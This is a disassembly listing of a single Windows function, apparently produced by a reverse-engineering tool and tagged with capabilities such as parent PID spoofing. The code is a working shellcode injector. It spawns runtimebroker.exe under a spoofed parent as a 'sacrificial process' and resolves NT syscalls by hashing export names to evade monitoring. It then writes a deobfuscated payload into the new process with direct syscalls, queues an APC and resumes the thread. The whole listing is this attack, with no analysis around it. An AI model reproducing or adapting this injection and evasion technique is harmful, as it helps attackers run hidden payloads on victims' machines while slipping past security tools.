Function at 0x1400019e0
Capabilities:
Resolve function by parsing pe exports
Resume thread
Spoof parent pid

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x2198
call fcn.1400024c0
sub rsp, rax
movaps xmmword [rsp + 0x2180], xmm6
mov rsi, rdx
mov edi, ecx
mov rax, qword [0x140027040]
xor rax, rsp
mov qword [rsp + 0x2178], rax
lea rcx, str.___Check
call fcn.140008d94
call fcn.140008d30
cmp edi, 1
jg 0x140001a4e
lea rcx, str.____Wrong_
call fcn.140008d94
mov rdx, qword [rsi]
lea rcx, str._____Syntax:_._s__PPID_to_spoof__n_n
call fcn.1400010d0
jmp 0x140002343
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x168]
mov r8d, 0xa
call fcn.14000909c
mov edi, eax
call fcn.1400017c0
test eax, eax
jne 0x140001a7a
mov dword [section..data], 0
mov qword [rsp + 0x160], 0
lea rcx, [rsp + 0x170]
mov r8d, 0x2000
xor edx, edx
call fcn.140019fe0
mov eax, 3
lea rcx, [0x14001b270]
lea rdx, [0x14001b070]
nop
movsxd r8, dword [rcx + rax*4 - 0xc]
movzx r9d, byte [rax + rdx - 3]
movzx r10d, byte [rax + rdx - 2]
mov byte [rsp + r8 + 0x170], r9b
movsxd r8, dword [rcx + rax*4 - 8]
mov byte [rsp + r8 + 0x170], r10b
movsxd r8, dword [rcx + rax*4 - 4]
movzx r9d, byte [rax + rdx - 1]
mov byte [rsp + r8 + 0x170], r9b
cmp rax, 0x1ff
je 0x140001b08
movsxd r8, dword [rcx + rax*4]
movzx r9d, byte [rax + rdx]
mov byte [rsp + r8 + 0x170], r9b
add rax, 4
jmp 0x140001ab0
mov qword [rsp + 0x158], 0x2000
xorps xmm6, xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x140], xmm6
movaps xmmword [rsp + 0xc0], xmm6
mov qword [rsp + 0xd0], 0
mov dword [rsp + 0xe0], 0x70
mov dword [rsp + 0x11c], 0x80000
mov qword [rsp + 0xb8], 0
movabs rax, 0x101000000000
mov qword [rsp + 0xb0], rax
movabs rcx, 0x4fd1cd7bbe06fcfc
call fcn.140001850
mov rsi, rax
movsxd rax, dword [rax + 0x3c]
mov edx, dword [rsi + rax + 0x88]
mov eax, dword [rsi + rdx + 0x1c]
test rax, rax
je 0x140001c5c
mov ecx, dword [rsi + rdx + 0x20]
lea r14, [rsi + rax]
add rcx, rsi
mov r15d, dword [rsi + rdx + 0x24]
add r15, rsi
movabs r8, 0x7734773477347734
movabs rdx, 0x718cca1f5291f6e7
lea r9, [rsi + 1]
xor ebx, ebx
xor r12d, r12d
jmp 0x140001c08
inc r12
cmp r12, rax
je 0x140001c5e
mov r10d, dword [rcx + r12*4]
movzx r11d, byte [rsi + r10]
test r11b, r11b
je 0x140001c00
add r10, r9
mov r13, r8
nop dword [rax]
mov rbp, r13
shl rbp, 5
add rbp, r13
movsx r13, r11b
add r13, rbp
movzx r11d, byte [r10]
inc r10
test r11b, r11b
jne 0x140001c20
cmp r13, rdx
jne 0x140001c00
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400010d0
movzx eax, word [r15 + r12*2]
mov ebx, dword [r14 + rax*4]
add rbx, rsi
jmp 0x140001c5e
xor ebx, ebx
mov rcx, rbx
call fcn.140001150
mov ebp, eax
mov rcx, rbx
call fcn.1400012b0
mov rbx, rax
mov ecx, ebp
call fcn.1400023f0
mov rcx, rbx
call fcn.1400023f8
lea rax, [fcn.140002411]
mov qword [0x140027ba8], rax
mov dword [rsp + 0x80], 0x30
movups xmmword [rsp + 0x88], xmm6
mov dword [rsp + 0x98], 0
movups xmmword [rsp + 0xa0], xmm6
movsxd rax, edi
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0
lea rcx, [rsp + 0xb8]
lea r8, [rsp + 0x80]
lea r9, [rsp + 0x70]
mov edx, 0x80
call fcn.140002411
test eax, eax
js 0x140001f1d
cmp qword [rsp + 0xb8], 0
je 0x140002343
lea rcx, str._t__Called_sysNtOpenProcess
call fcn.140008d94
mov qword [rsp + 0x68], 0
mov r14, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea rdi, [rsp + 0x68]
xor ecx, ecx
mov edx, 2
xor r8d, r8d
mov r9, rdi
call r14
mov rbx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x148], rax
mov rcx, rax
mov edx, 2
xor r8d, r8d
mov r9, rdi
call r14
mov rcx, qword [rsp + 0x148]
xorps xmm6, xmm6
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], 8
mov rdi, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea r9, [rsp + 0xb8]
mov r8d, 0x20000
xor edx, edx
call rdi
mov rcx, qword [rsp + 0x148]
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0xb0]
mov r8d, 0x20007
xor edx, edx
call rdi
lea rdi, str.kernel32.dll
mov rbx, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rdi
call rbx
lea rdx, str.SuspendThread
mov r15, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call r15
mov r14, rax
mov rcx, rdi
call rbx
lea rdx, str.CreateProcessA
mov rcx, rax
call r15
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rcx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 0
lea rcx, str.c:windows_system32_runtimebroker.exe
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
test eax, eax
je 0x140001f29
movabs r15, 0x7734773477347734
mov r8d, dword [rsp + 0xd0]
lea rcx, str._n___Spawning_Sacrificial_Process:__s__PID:__d_..._n_n
lea rdx, str.c:windows_system32_runtimebroker.exe
call fcn.1400010d0
mov rbx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0x58], rcx
call r14
call fcn.140008d30
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rsi + rax + 0x88]
mov eax, dword [rsi + rdx + 0x1c]
test rax, rax
je 0x140001f3b
mov ecx, dword [rsi + rdx + 0x20]
lea r12, [rsi + rax]
add rcx, rsi
mov r13d, dword [rsi + rdx + 0x24]
add r13, rsi
movabs rdx, 0xf5bd373480a6b89b
lea r8, [rsi + 1]
xor r14d, r14d
xor ebp, ebp
jmp 0x140001ec8
inc rbp
cmp rbp, rax
je 0x140001f3e
mov r9d, dword [rcx + rbp*4]
movzx r10d, byte [rsi + r9]
test r10b, r10b
je 0x140001ec0
add r9, r8
mov r11, r15
nop dword [rax]
mov rdi, r11
shl rdi, 5
add rdi, r11
movsx r11, r10b
add r11, rdi
movzx r10d, byte [r9]
inc r9
test r10b, r10b
jne 0x140001ee0
cmp r11, rdx
jne 0x140001ec0
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400010d0
movzx eax, word [r13 + rbp*2]
mov r14d, dword [r12 + rax*4]
add r14, rsi
jmp 0x140001f3e
lea rcx, str.____Failed_in_sysNtOpenProcess__0x_X__n
jmp 0x14000233c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_Spawn_Sacrificial_process___u__n
jmp 0x14000233c
xor r14d, r14d
mov rcx, r14
call fcn.140001150
mov ebp, eax
mov rcx, r14
call fcn.1400012b0
mov r14, rax
mov ecx, ebp
call fcn.1400023f0
mov rcx, r14
call fcn.1400023f8
lea rax, [fcn.140002422]
mov qword [0x140027b90], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x160]
lea r9, [rsp + 0x158]
mov rcx, rbx
xor r8d, r8d
call fcn.140002422
test eax, eax
js 0x14000204d
lea rcx, str._t__Called_sysNtAllocateVirtualMemory
call fcn.140008d94
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rsi + rax + 0x88]
mov eax, dword [rsi + rdx + 0x1c]
test rax, rax
je 0x140002059
mov ecx, dword [rsi + rdx + 0x20]
lea r12, [rsi + rax]
add rcx, rsi
mov r13d, dword [rsi + rdx + 0x24]
add r13, rsi
movabs rdx, 0x68a3c2ba486f0741
lea r8, [rsi + 1]
xor r14d, r14d
xor ebp, ebp
jmp 0x140001ff8
inc rbp
cmp rbp, rax
je 0x14000205c
mov r9d, dword [rcx + rbp*4]
movzx r10d, byte [rsi + r9]
test r10b, r10b
je 0x140001ff0
add r9, r8
mov r11, r15
nop dword [rax]
mov rdi, r11
shl rdi, 5
add rdi, r11
movsx r11, r10b
add r11, rdi
movzx r10d, byte [r9]
inc r9
test r10b, r10b
jne 0x140002010
cmp r11, rdx
jne 0x140001ff0
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400010d0
movzx eax, word [r13 + rbp*2]
mov r14d, dword [r12 + rax*4]
add r14, rsi
jmp 0x14000205c
lea rcx, str.____Failed_in_sysNtAllocateVirtualMemory__0x_X__n
jmp 0x14000233c
xor r14d, r14d
mov rcx, r14
call fcn.140001150
mov ebp, eax
mov rcx, r14
call fcn.1400012b0
mov r14, rax
mov ecx, ebp
call fcn.1400023f0
mov rcx, r14
call fcn.1400023f8
lea rax, [fcn.140002433]
mov qword [0x140027b98], rax
mov rdx, qword [rsp + 0x160]
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x170]
mov r9d, 0x2000
mov rcx, rbx
call fcn.140002433
test eax, eax
js 0x14000217d
lea rcx, str._t__Called_sysNtWriteVirtualMemory
call fcn.140008d94
mov dword [rsp + 0x64], 0
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rsi + rax + 0x88]
mov eax, dword [rsi + rdx + 0x1c]
test rax, rax
je 0x140002189
mov ecx, dword [rsi + rdx + 0x20]
lea r12, [rsi + rax]
add rcx, rsi
mov r13d, dword [rsi + rdx + 0x24]
add r13, rsi
movabs rdx, 0x858bcb1046fb6a37
lea r8, [rsi + 1]
xor r14d, r14d
xor ebp, ebp
jmp 0x140002128
inc rbp
cmp rbp, rax
je 0x14000218c
mov r9d, dword [rcx + rbp*4]
movzx r10d, byte [rsi + r9]
test r10b, r10b
je 0x140002120
add r9, r8
mov r11, r15
nop dword [rax]
mov rdi, r11
shl rdi, 5
add rdi, r11
movsx r11, r10b
add r11, rdi
movzx r10d, byte [r9]
inc r9
test r10b, r10b
jne 0x140002140
cmp r11, rdx
jne 0x140002120
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400010d0
movzx eax, word [r13 + rbp*2]
mov r14d, dword [r12 + rax*4]
add r14, rsi
jmp 0x14000218c
lea rcx, str.____Failed_in_sysNtWriteVirtualMemory__0x_X__n
jmp 0x14000233c
xor r14d, r14d
mov rcx, r14
call fcn.140001150
mov ebp, eax
mov rcx, r14
call fcn.1400012b0
mov r14, rax
mov ecx, ebp
call fcn.1400023f0
mov rcx, r14
call fcn.1400023f8
lea rax, [fcn.140002455]
mov qword [0x140027ba0], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x160]
lea r8, [rsp + 0x158]
mov rcx, rbx
mov r9d, 0x20
call fcn.140002455
test eax, eax
js 0x14000229f
lea rcx, str._t__Called_sysNtProtectVirtualMemory
call fcn.140008d94
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rsi + rax + 0x88]
mov eax, dword [rsi + rdx + 0x1c]
test rax, rax
je 0x1400022ab
mov ecx, dword [rsi + rdx + 0x20]
lea r14, [rsi + rax]
add rcx, rsi
mov r12d, dword [rsi + rdx + 0x24]
add r12, rsi
movabs rdx, 0x7073ed9f921a0267
lea r8, [rsi + 1]
xor ebx, ebx
xor r13d, r13d
jmp 0x140002248
inc r13
cmp r13, rax
je 0x1400022ad
mov r9d, dword [rcx + r13*4]
movzx r10d, byte [rsi + r9]
test r10b, r10b
je 0x140002240
add r9, r8
mov r11, r15
nop dword [rax]
mov rdi, r11
shl rdi, 5
add rdi, r11
movsx r11, r10b
add r11, rdi
movzx r10d, byte [r9]
inc r9
test r10b, r10b
jne 0x140002260
cmp r11, rdx
jne 0x140002240
lea rcx, str.Hash_NtApi_matched_and_calculated_as:_0x_llX_t
call fcn.1400010d0
movzx eax, word [r12 + r13*2]
mov eax, dword [r14 + rax*4]
add rsi, rax
mov rbx, rsi
jmp 0x1400022ad
lea rcx, str.____Failed_in_sysNtProtectVirtualMemory__0x_X__n
jmp 0x14000233c
xor ebx, ebx
mov rdi, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140001150
mov esi, eax
mov rcx, rbx
call fcn.1400012b0
mov rbx, rax
mov ecx, esi
call fcn.1400023f0
mov rcx, rbx
call fcn.1400023f8
lea rax, [fcn.140002488]
mov qword [0x140027bb0], rax
mov rdx, qword [rsp + 0x160]
mov dword [rsp + 0x20], 0
xor esi, esi
mov rcx, rdi
mov r8, rdx
xor r9d, r9d
call fcn.140002488
test eax, eax
js 0x140002335
lea rcx, str._t__Called_sysNtQueueApcThread
call fcn.140008d94
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x140002348
lea rcx, str.____Failed_to_resume_thread_
call fcn.140008d94
jmp 0x140002343
lea rcx, str.____Failed_in_sysNtQueueApcThread__0x_X__n
mov edx, eax
call fcn.1400010d0
mov esi, 1
mov rcx, qword [rsp + 0x2178]
xor rcx, rsp
call fcn.140002520
mov eax, esi
movaps xmm6, xmmword [rsp + 0x2180]
add rsp, 0x2198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret